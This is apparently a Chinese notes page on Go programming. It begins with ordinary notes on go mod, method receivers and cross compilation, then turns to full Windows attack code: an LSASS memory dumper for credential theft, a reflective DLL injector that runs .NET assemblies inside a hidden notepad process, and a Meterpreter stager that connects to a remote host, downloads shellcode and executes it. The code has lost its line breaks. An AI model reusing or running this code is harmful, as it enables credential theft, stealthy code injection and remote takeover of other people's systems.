go mod
go mod init: 初始化modulesgo mod download: 下载依赖的module到本地cachego mod edit: 编辑go.mod文件,选项有-json、-require和-exclude,可以使用帮助go help mod editgo mod graph: 以文本模式打印模块需求图go mod tidy: 检查,删除错误或者不使用的modules,以及添加缺失的模块 下载位置: GOPATH/pkg/modgo mod vendor: 生成vendor目录,将依赖复制到vendor目录下面go mod verify: 验证依赖是否正确go mod why:解释为什么需要依赖go list -m:查看主模块的路径go list -m -f={{.Dir}}:查看主模块的根目录go list -m all:查看当前的依赖和版本信息
Go语言技巧
goland 调试


goto

接收者

type user struct {name string,email string,}//这是函数的定义func notify(email string) {fmt.Println("Email is %s", email)}//这是方法的定义func (u user) notify(email string) {fmt.Println("Email is %d", email)}
接收者有两种,一种是值接收者,一种是指针接收者。顾名思义,值接收者,是接收者的类型是一个值,是一个副本,方法内部无法对其真正的接收者做更改;指针接收者,接收者的类型是一个指针,是接收者的引用,对这个引用的修改之间影响真正的接收者。像上面一样定义方法,将 user 改成 *user 就是指针接收者
golang静态编译
golang 的编译(不涉及 cgo 编译的前提下)默认使用了静态编译,不依赖任何动态链接库。
这样可以任意部署到各种运行环境,不用担心依赖库的版本问题。只是体积大一点而已,存储时占用了一点磁盘,运行时,多占用了一点内存。早期动态链接库的产生,是因为早期的系统的内存资源十分宝贵,由于内存紧张的问题在早期的系统中显得更加突出,因此人们首先想到的是要解决内存使用效率不高这一问题,于是便提出了动态装入的思想。也就产生了动态链接库。在现在的计算机里,操作系统的硬盘内存更大了,尤其是服务器,32G、64G 的内存都是最基本的。可以不用为了节省几百 KB 或者1M,几 M 的内存而大大费周折了。而 golang 就采用这种做法,可以避免各种 so 动态链接库依赖的问题,这点是非常值得称赞的。
显示指定静态编译方法
在Docker化的今天, 我们经常需要静态编译一个Go程序,以便方便放在Docker容器中。 即使你没有引用其它的第三方包,只是在程序中使用了标准库net,你也会发现你编译后的程序依赖glic,这时候你需要glibc-static库,并且静态连接。
不同的Go版本下静态编译方式还有点不同,在go 1.10下, 下面的方式会尽可能做到静态编译:
CGO_ENABLED=0 go build -a -ldflags '-extldflags "-static"' .
效率会提高
解决go参数问题

Go交叉编译
1. Windows下
编译为Linux可运行文件
SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go
编译为MAC可运行文件
SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go
编译为Window可运行文件
SET GOOS=windows go build main.go
2. MAC下
编译为Windows可执行文件
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go
编译为Linux可执行文件
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3. Linux下
编译为Windows可执行文件
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go
编译为MAC可执行文件
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go
gox
安装
go get github.com/mitchellh/gox
使用
1.编译window 64位:gox -osarch="windows/amd64" ./2.编译mac 64位:gox -osarch = "darwin/amd64" ./3.编译Linux 64位:gox -osarch="linux/amd64" ./在当前目录生成二进制文件#如果我们想生成linux和windows上的程序,只要通过一下命令:$gox -os "windows linux" -arch amd64#目录下你就能看到生成出来的两个程序hello_linux_amd64hello_windows_amd64.exe#如果不加参数-arch ...,将编译所有类型tgox_linux_386tgox_linux_amd64tgox_linux_armgox_linux_arm64tgox_linux_mipstgox_linux_mips64tgox_linux_mips64letgox_linux_mipsletgox_linux_ppc64tgox_linux_ppc64letgox_linux_s390x


Go dump和内存加载Csharp
dump hash
package mainimport ("flag""fmt""github.com/mitchellh/go-ps""log""os""strconv""syscall""unsafe")const targetProcess string = "lsass.exe"func elevateProcessToken() error {type Luid struct {lowPart uint32highPart int32}type LuidAndAttributes struct {luid Luidattributes uint32}type TokenPrivileges struct {privilegeCount uint32privileges [1]LuidAndAttributes}const SeDebugPrivilege = "SeDebugPrivilege"const tokenAdjustPrivileges = 0x0020const tokenQuery = 0x0008var hToken uintptruser32 := syscall.MustLoadDLL("user32")defer user32.Release()kernel32 := syscall.MustLoadDLL("kernel32")defer user32.Release()advapi32 := syscall.MustLoadDLL("advapi32")defer advapi32.Release()GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")GetLastError := kernel32.MustFindProc("GetLastError")OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")currentProcess, _, _ := GetCurrentProcess.Call()result, _, err := OpenProdcessToken.Call(currentProcess, tokenAdjustPrivileges|tokenQuery, uintptr(unsafe.Pointer(&hToken)))if result != 1 {fmt.Println("OpenProcessToken(): ", result, " err: ", err)return err}var tkp TokenPrivilegesresult, _, err = LookupPrivilegeValue.Call(uintptr(0), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))), uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))))if result != 1 {fmt.Println("LookupPrivilegeValue(): ", result, " err: ", err)return err}const SePrivilegeEnabled uint32 = 0x00000002tkp.privilegeCount = 1tkp.privileges[0].attributes = SePrivilegeEnabledresult, _, err = AdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tkp)), 0, uintptr(0), 0)if result != 1 {fmt.Println("AdjustTokenPrivileges() ", result, " err: ", err)return err}result, _, _ = GetLastError.Call()if result != 0 {fmt.Println("GetLastError() ", result)return err}return nil}func processDump(pid int) {//set up Win32 APIsvar dbghelp = syscall.NewLazyDLL("Dbghelp.dll")var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")var kernel32 = syscall.NewLazyDLL("kernel32.dll")var procOpenProcess = kernel32.NewProc("OpenProcess")var procCreateFileW = kernel32.NewProc("CreateFileW")process, err := os.FindProcess(pid)if err == nil {fmt.Printf("进程 %d 找到 \n", process.Pid)} else {fmt.Printf("进程 %d not 没有找到 \n", pid)os.Exit(1)}processHandle, _, err := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))if processHandle != 0 {fmt.Println("返回进程的句柄成功")} else {fmt.Println("返回进程的句柄失败")fmt.Println(err)os.Exit(1)}currentDirectory, _ := os.Getwd()filePath := currentDirectory + "\\" + strconv.Itoa(pid) + ".dmp"os.Create(filePath)path, _ := syscall.UTF16PtrFromString(filePath)fileHandle, _, err := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_WRITE, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)if ret != 0 {fmt.Println("成功dump", filePath)} else {fmt.Println("失败dump")fmt.Println(err)os.Remove(filePath)}}func main() {var pid int = 0lsassPtr := flag.Bool("l", false, "选择LSASS")processPtr := flag.Int("p", 0, "选择PID")flag.Parse()if *lsassPtr {pid = getLsassPid()} else if *processPtr != 0 {pid = *processPtr} else {fmt.Println("请选择LSASS或者PID")os.Exit(1)}if pid == 0 {fmt.Println("无效进程")os.Exit(1)}err := elevateProcessToken()if err != nil {fmt.Println(err)os.Exit(1)}processDump(pid)}func getLsassPid() int {var pid intprocessList, err := ps.Processes()if err != nil {log.Println("ps.Processes() Failed")return 0}for x := range processList {var process ps.Processprocess = processList[x]if process.Executable() == targetProcess {pid = process.Pid()}}return pid}
内存加载Csharp
https://github.com/b4rtik/metasploit-execute-assembly/tree/master/HostingCLR_inject
package mainimport ("log""os""assembly")func main() {assemblyArgs := os.Args[0]assemblyBytes := []byte{...}hostingDLL := []byte{...}err := assembly.ExecuteAssembly(hostingDLL, assemblyBytes, assemblyArgs, true)if err != nil {log.Fatal(err)}}
package assemblytype (DWORD uint32)const (IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16IMAGE_FILE_MACHINE_I386 = 0x014cIMAGE_FILE_MACHINE_AMD64 = 0x8664DLL_PROCESS_ATTACH = 1DLL_THREAD_ATTACH = 2DLL_THREAD_DETACH = 3DLL_PROCESS_DETACH = 0IMAGE_DIRECTORY_ENTRY_EXPORT = 0 // Export DirectoryIMAGE_DIRECTORY_ENTRY_IMPORT = 1 // Import DirectoryIMAGE_DIRECTORY_ENTRY_RESOURCE = 2 // Resource DirectoryIMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 // Exception DirectoryIMAGE_DIRECTORY_ENTRY_SECURITY = 4 // Security DirectoryIMAGE_DIRECTORY_ENTRY_BASERELOC = 5 // Base Relocation TableIMAGE_DIRECTORY_ENTRY_DEBUG = 6 // Debug DirectoryIMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 // Architecture Specific DataIMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 // RVA of GPIMAGE_DIRECTORY_ENTRY_TLS = 9 // TLS DirectoryIMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 // Load Configuration DirectoryIMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 // Bound Import Directory in headersIMAGE_DIRECTORY_ENTRY_IAT = 12 // Import Address TableIMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 // Delay Load Import DescriptorsIMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 // COM Runtime descriptorIMAGE_REL_BASED_HIGHLOW = 3IMAGE_REL_BASED_DIR64 = 10IMAGE_ORDINAL_FLAG64 = 0x8000000000000000IMAGE_ORDINAL_FLAG32 = 0x80000000)type ULONGLONG uint64type LONG uint32type WORD uint16type BOOL uint8type BYTE uint8type IMAGE_BASE_RELOCATION struct {VirtualAddress DWORDSizeOfBlock DWORD// WORD TypeOffset[1];}type IMAGE_IMPORT_BY_NAME struct {Hint WORDName [1]uint8}type IMAGE_IMPORT_DESCRIPTOR struct {/*union {DWORD Characteristics; // 0 for terminating null import descriptorDWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)} DUMMYUNIONNAME;DWORD TimeDateStamp; // 0 if not bound,// -1 if bound, and real date\time stamp// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)// O.W. date/time stamp of DLL bound to (Old BIND)DWORD ForwarderChain; // -1 if no forwardersDWORD Name;DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)*/OriginalFirstThunk DWORDTimeDateStamp DWORDForwarderChain DWORDName DWORDFirstThunk DWORD}type _IMAGE_NT_HEADERS64 struct {Signature DWORDFileHeader IMAGE_FILE_HEADEROptionalHeader IMAGE_OPTIONAL_HEADER}type IMAGE_NT_HEADERS64 _IMAGE_NT_HEADERS64type IMAGE_NT_HEADERS IMAGE_NT_HEADERS64type _IMAGE_DATA_DIRECTORY struct {VirtualAddress DWORDSize DWORD}type IMAGE_DATA_DIRECTORY _IMAGE_DATA_DIRECTORYtype _IMAGE_OPTIONAL_HEADER64 struct {Magic WORDMajorLinkerVersion BYTEMinorLinkerVersion BYTESizeOfCode DWORDSizeOfInitializedData DWORDSizeOfUninitializedData DWORDAddressOfEntryPoint DWORDBaseOfCode DWORDImageBase ULONGLONGSectionAlignment DWORDFileAlignment DWORDMajorOperatingSystemVersion WORDMinorOperatingSystemVersion WORDMajorImageVersion WORDMinorImageVersion WORDMajorSubsystemVersion WORDMinorSubsystemVersion WORDWin32VersionValue DWORDSizeOfImage DWORDSizeOfHeaders DWORDCheckSum DWORDSubsystem WORDDllCharacteristics WORDSizeOfStackReserve ULONGLONGSizeOfStackCommit ULONGLONGSizeOfHeapReserve ULONGLONGSizeOfHeapCommit ULONGLONGLoaderFlags DWORDNumberOfRvaAndSizes DWORDDataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY}type IMAGE_OPTIONAL_HEADER64 _IMAGE_OPTIONAL_HEADER64type IMAGE_OPTIONAL_HEADER IMAGE_OPTIONAL_HEADER64type _IMAGE_FILE_HEADER struct {Machine WORDNumberOfSections WORDTimeDateStamp DWORDPointerToSymbolTable DWORDNumberOfSymbols DWORDSizeOfOptionalHeader WORDCharacteristics WORD}type IMAGE_FILE_HEADER _IMAGE_FILE_HEADERtype _IMAGE_DOS_HEADER struct { // DOS .EXE headerE_magic WORD // Magic numberE_cblp WORD // Bytes on last page of fileE_cp WORD // Pages in fileE_crlc WORD // RelocationsE_cparhdr WORD // Size of header in paragraphsE_minalloc WORD // Minimum extra paragraphs neededE_maxalloc WORD // Maximum extra paragraphs neededE_ss WORD // Initial (relative) SS valueE_sp WORD // Initial SP valueE_csum WORD // ChecksumE_ip WORD // Initial IP valueE_cs WORD // Initial (relative) CS valueE_lfarlc WORD // File address of relocation tableE_ovno WORD // Overlay numberE_res [4]WORD // Reserved wordsE_oemid WORD // OEM identifier (for E_oeminfo)E_oeminfo WORD // OEM information; E_oemid specificE_res2 [10]WORD // Reserved wordsE_lfanew LONG // File address of new exe header}type IMAGE_DOS_HEADER _IMAGE_DOS_HEADERconst (IMAGE_SIZEOF_SHORT_NAME = 8)type _IMAGE_SECTION_HEADER struct {Name [IMAGE_SIZEOF_SHORT_NAME]BYTE//union {//DWORD PhysicalAddress;//DWORD VirtualSize;//} Misc;Misc DWORDVirtualAddress DWORDSizeOfRawData DWORDPointerToRawData DWORDPointerToRelocations DWORDPointerToLinenumbers DWORDNumberOfRelocations WORDNumberOfLinenumbers WORDCharacteristics DWORD}type IMAGE_SECTION_HEADER _IMAGE_SECTION_HEADERtype IMAGE_EXPORT_DIRECTORY struct {Characteristics DWORDTimeDateStamp DWORDMajorVersionv WORDMinorVersion WORDName DWORDBase DWORDNumberOfFunctions DWORDNumberOfNames DWORDAddressOfFunctions DWORD // RVA from base of imageAddressOfNames DWORD // RVA from base of imageAddressOfNameOrdinals DWORD // RVA from base of image}
//go:build windows// +build windowspackage assemblyimport ("bytes""encoding/binary""errors""fmt""log""os""os/exec""runtime""strings""syscall""time""unsafe")const (PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfffMEM_COMMIT = 0x001000MEM_RESERVE = 0x002000STILL_RUNNING = 259EXPORTED_FUNCTION_NAME = "ReflectiveLoader")var (kernel32 = syscall.MustLoadDLL("kernel32.dll")procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")procGetExitCodeThread = kernel32.MustFindProc("GetExitCodeThread"))func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) {r1, _, e1 := procVirtualAllocEx.Call(uintptr(process),addr,uintptr(size),uintptr(allocType),uintptr(protect))if int(r1) == 0 {return r1, os.NewSyscallError("VirtualAllocEx", e1)}return r1, nil}func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) {var nLength uint32r1, _, e1 := procWriteProcessMemory.Call(uintptr(process),addr,uintptr(buf),uintptr(size),uintptr(unsafe.Pointer(&nLength)))if int(r1) == 0 {return nLength, os.NewSyscallError("WriteProcessMemory", e1)}return nLength, nil}func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) {var threadID uint32r1, _, e1 := procCreateRemoteThread.Call(uintptr(process),uintptr(unsafe.Pointer(sa)),uintptr(stackSize),startAddress,parameter,uintptr(creationFlags),uintptr(unsafe.Pointer(&threadID)))runtime.KeepAlive(sa)if int(r1) == 0 {return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1)}return syscall.Handle(r1), threadID, nil}func getExitCodeThread(threadHandle syscall.Handle) (uint32, error) {var exitCode uint32r1, _, e1 := procGetExitCodeThread.Call(uintptr(threadHandle),uintptr(unsafe.Pointer(&exitCode)))if r1 == 0 {return exitCode, e1}return exitCode, nil}// ExecuteAssembly loads a .NET CLR hosting DLL inside a notepad.exe process// along with a provided .NET assembly to execute.func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {AssemblySizeArr := convertIntToByteArr(len(assembly))ParamsSizeArr := convertIntToByteArr(len(params) + 1) // +1 accounts for the trailing nullcmd := exec.Command("notepad.exe")cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true,}var stdoutBuf, stderrBuf bytes.Buffercmd.Stdout = &stdoutBufcmd.Stderr = &stderrBufcmd.Start()pid := cmd.Process.Pid// OpenProcess with PROC_ACCESS_ALLhandle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))if err != nil {return err}// VirtualAllocEx to allocate a new memory segment into the target processhostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)if err != nil {return err}// WriteProcessMemory to write the reflective loader into the process_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))if err != nil {return err}log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)// VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and argsassemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)if err != nil {return err}// 4 bytes Assembly Size// 4 bytes Params Size// 1 byte AMSI bool 0x00 no 0x01 yes// parameter bytes// assembly bytespayload := append(AssemblySizeArr, ParamsSizeArr...)if amsi {payload = append(payload, byte(1))} else {payload = append(payload, byte(0))}payload = append(payload, []byte(params)...)payload = append(payload, '\x00')payload = append(payload, assembly...)// WriteProcessMemory to write the .NET assembly + args_, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))if err != nil {return err}log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)// CreateRemoteThread(DLL addr + offset, assembly addr)attr := new(syscall.SecurityAttributes)functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+uintptr(functionOffset)), uintptr(assemblyAddr), 0)if err != nil {return err}log.Println("Got thread handle:", threadHandle)for {code, err := getExitCodeThread(threadHandle)if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {log.Fatalln(err.Error())}if code == STILL_RUNNING {time.Sleep(1000 * time.Millisecond)} else {break}}//cmd.Process.Kill()outStr, errStr := stdoutBuf.String(), stderrBuf.String()fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)return nil}func convertIntToByteArr(num int) (arr []byte) {// This does the same thing as the union used in the DLL to convert intValue to byte array and backarr = append(arr, byte(num%256))v := num / 256arr = append(arr, byte(v%256))v = v / 256arr = append(arr, byte(v%256))v = v / 256arr = append(arr, byte(v))return}func findRawFileOffset(pSourceBytes []byte, exportedFunctionName string) (rawOffset DWORD, err error) {var pImageHeader IMAGE_DOS_HEADERvar pOldNtHeader IMAGE_NT_HEADERSvar pOldOptHeader IMAGE_OPTIONAL_HEADERvar pOldFileHeader IMAGE_FILE_HEADER// we will re read portions of the byte array into data structs// Set back to startrdrBytes := bytes.NewReader(pSourceBytes)err = binary.Read(rdrBytes, binary.LittleEndian, &pImageHeader)if err != nil {log.Printf("Failure Reading dll in binary mode, for pImageHeader : %s\n", err)}// Check the Magic Byteif pImageHeader.E_magic != 0x5A4D {err = errors.New("Invalid File Format")return}// Just Read the NTHeader from the DLL and cast it pOldNtHeaderntHeaderOffset := pImageHeader.E_lfanewconst sizeOfNTHeader = unsafe.Sizeof(pOldNtHeader)// Set the position at the ntHeaderOffsetrdrBytes = bytes.NewReader(pSourceBytes[ntHeaderOffset:])err = binary.Read(rdrBytes, binary.LittleEndian, &pOldNtHeader)if err != nil {log.Printf("Failure Reading dll in binary mode, for pOldNtHeader : %s\n", err)return}// populate the Optional HeaderpOldOptHeader = pOldNtHeader.OptionalHeaderpOldFileHeader = pOldNtHeader.FileHeader// Where is the export table?var exportTableAddress DWORDexportTableAddress = pOldOptHeader.DataDirectory[0].VirtualAddressvar sectionHeaderOffset uint16sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)var sectionHeader IMAGE_SECTION_HEADERconst sectionHeaderSize = unsafe.Sizeof(sectionHeader)var i WORD// look for the exportssection := 0var sectionName [8]BYTEvar pointerToCodeRawData DWORDvar virtualOffsetForCode DWORDfor i = 0; i != pOldFileHeader.NumberOfSections; i++ {rdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])err = binary.Read(rdrBytes, binary.LittleEndian, §ionHeader)if err != nil {log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s", err.Error())return}// We need to find the .text section to capture the code offset and virtual addressvar secName []bytefor _, b := range sectionHeader.Name {if b == 0 {break}secName = append(secName, byte(b))}if bytes.Contains(secName, []byte(".text")) {virtualOffsetForCode = sectionHeader.VirtualAddressvirtualOffsetForCode = sectionHeader.VirtualAddresspointerToCodeRawData = sectionHeader.PointerToRawData// This is for finding the DLLMain}// For Export tableif sectionHeader.VirtualAddress > exportTableAddress {break}sectionName = sectionHeader.Namesection++sectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)}sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)// process each sectionfor i = 0; i != pOldFileHeader.NumberOfSections; i++ {// Read in the bytes to make up the sectionHeader// Set the position at the ntHeaderOffsetrdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])err = binary.Read(rdrBytes, binary.LittleEndian, §ionHeader)if err != nil {log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s\n", err)return}if sectionHeader.SizeOfRawData > 0 {source := make([]byte, sectionHeader.SizeOfRawData)// Set the position at the ntHeaderOffsetrdrBytes = bytes.NewReader(pSourceBytes[sectionHeader.PointerToRawData:])err = binary.Read(rdrBytes, binary.LittleEndian, &source)if err != nil {log.Printf("Failure Reading dll in binary mode, for source : %s\n", err)return}if sectionHeader.Name == sectionName {// Let's get the Data Dictionary for the Export tableaddrOffset := exportTableAddress - sectionHeader.VirtualAddressvar exportDirectory IMAGE_EXPORT_DIRECTORYlength := unsafe.Sizeof(exportDirectory)offset := sectionHeader.PointerToRawData + DWORD(addrOffset)rdrBytes = bytes.NewReader(pSourceBytes[offset : offset+DWORD(length)])err = binary.Read(rdrBytes, binary.LittleEndian, &exportDirectory)if err != nil {log.Printf("Failure Reading dll in binary mode, for fragment : %s\n", err)return}//Let's process the names in order to identify the exported function that we are looking foraddr := sectionHeader.PointerToRawData + exportDirectory.AddressOfNames - sectionHeader.VirtualAddressaddrBytes, e := getAddress(pSourceBytes, DWORD(addr), 4)if e != nil {err = elog.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err)return}expOffset := 0for i := len(addrBytes) - 1; i >= 0; i-- {expOffset *= 256expOffset += int(addrBytes[i])}// Now let's read the value at the the identified address// To do so we need to find the raw offset in the source bytesaddr = sectionHeader.PointerToRawData + DWORD(expOffset) - sectionHeader.VirtualAddressnameLength := len(exportedFunctionName) + 1addrBytes, err = getAddress(pSourceBytes, addr, uint32(nameLength))if err != nil {log.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err.Error())return}var name []bytefor _, b := range addrBytes {if b == 0 {break}name = append(name, b)}if bytes.Contains(name, []byte("?"+exportedFunctionName)) {//fmt.Println(" **** FOUND ****")// let's get the address for this functionaddr = sectionHeader.PointerToRawData + exportDirectory.AddressOfFunctions - sectionHeader.VirtualAddressaddrBytes, err = getAddress(pSourceBytes, addr, 4)if err != nil {log.Printf("Failure Reading dll in binary mode, for AddressOfFunctions : %s\n", err.Error())return}//fmt.Printf("\nexportDirectory.AddressOfFunctions @ %x %x %x\n", exportDirectory.AddressOfFunctions, addrBytes, addrBytes)expOffset = 0for i := len(addrBytes) - 1; i >= 0; i-- {expOffset *= 256expOffset += int(addrBytes[i])}// Because we are looking for the position in the file we need to convert the address from in memory// to where it is in the raw filerawOffset = pointerToCodeRawData + DWORD(expOffset) - virtualOffsetForCodereturn}}}// Increment the section header the size of the the section headersectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)}return 0, errors.New("Export not found")}func getAddress(source []byte, offset DWORD, length uint32) (result []byte, err error) {result = make([]byte, length)rdrBytes := bytes.NewReader(source[offset : offset+DWORD(length)])err = binary.Read(rdrBytes, binary.LittleEndian, &result)return}func IMAGE_FIRST_SECTION(offset LONG, ntHeader IMAGE_NT_HEADERS) uint16 {//We need to find the starting address of the Section Imagesvar x IMAGE_NT_HEADERSconst sizeSignature = unsafe.Sizeof(x.Signature)const sizeFileHeader = unsafe.Sizeof(x.FileHeader)const sizeOptHeader = unsafe.Sizeof(x.OptionalHeader)total := uint16(uintptr(offset) + sizeSignature + sizeFileHeader + sizeOptHeader)return total}
GO MSF
package mainimport ("bufio""encoding/binary""fmt""io""log""net""os""reflect""strings""syscall""unsafe")func main() {var (addr stringconn net.Connlsnr net.Listenererr error)fmt.Println("letme.go - Minimalistic Meterpreter stager written in Go")fmt.Println("Copyright (c) 2021 Marco Ivaldi <raptor@0xdeadbeef.info>")fmt.Println()// Parse the command lineswitch len(os.Args) {case 1:addr = ":4444"case 2:addr = os.Args[1]default:usage()}switch {case strings.HasPrefix(addr, "-"):usage()// Start a bind_tcp stagercase strings.HasPrefix(addr, ":"):if arg := strings.Split(addr, ":"); arg[1] == "" {usage()}fmt.Printf("Using bind_tcp stager (%v)\n\n", addr)if lsnr, err = net.Listen("tcp", addr); err != nil {log.Fatalln(err.Error())}defer lsnr.Close()if conn, err = lsnr.Accept(); err != nil {log.Fatalln(err.Error())}defer conn.Close()// Start a reverse_tcp stagerdefault:fmt.Printf("Using reverse_tcp stager (%v)\n\n", addr)if conn, err = net.Dial("tcp", addr); err != nil {log.Fatalln(err.Error())}defer conn.Close()}// Receive and execute the payloadpayload, err := receivePayload(conn)execPayload(payload)}// Print usage and exitfunc usage() {fmt.Println("Usage:")fmt.Println("C:\\> letme.exe [:port | host:port]")fmt.Println("\nExamples:")fmt.Println("C:\\> letme.exe :4444")fmt.Println("C:\\> letme.exe 192.168.0.66:4444")os.Exit(1)}// Helper function to get net.Conn's underlying socket descriptorfunc GetFdFromConn(conn net.Conn) (fd uint) {v := reflect.ValueOf(conn)netFD := reflect.Indirect(reflect.Indirect(v).FieldByName("fd"))pfd := reflect.Indirect(netFD.FieldByName("pfd"))fd = uint(pfd.FieldByName("Sysfd").Uint())return}// Receive a Meterpreter payload via TCPfunc receivePayload(conn net.Conn) (payload []byte, err error) {r := bufio.NewReader(conn)// Read the 4-byte payload length and allocate payload buffertmp := make([]byte, 4)if _, err = io.ReadFull(r, tmp); err != nil {return}length := binary.LittleEndian.Uint32(tmp[:])payload = make([]byte, length+5)// Prepend some ASM to MOV the socket handle into EDI// MOV EDI, 0x12345678 ; BF 78 56 34 12fd := GetFdFromConn(conn)payload[0] = 0xbfbinary.LittleEndian.PutUint32(payload[1:5], uint32(fd))// Download the Meterpreter payloadif _, err = io.ReadFull(r, payload[5:]); err != nil {return}return}// Execute a Windows payloadfunc execPayload(payload []byte) {const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000INFINITE = 0xffffffff)// Allocate a RWX memory regionkernel32 := syscall.MustLoadDLL("kernel32.dll")_VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")ptr, _, _ := _VirtualAlloc.Call(0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)// Copy the payload_RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")_RtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&payload[0])), uintptr(len(payload)))// Execute the payload_CreateThread := kernel32.MustFindProc("CreateThread")th, _, _ := _CreateThread.Call(0, 0, ptr, 0, 0, 0)// Wait for the thread to finish running_WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")_WaitForSingleObject.Call(th, INFINITE)}
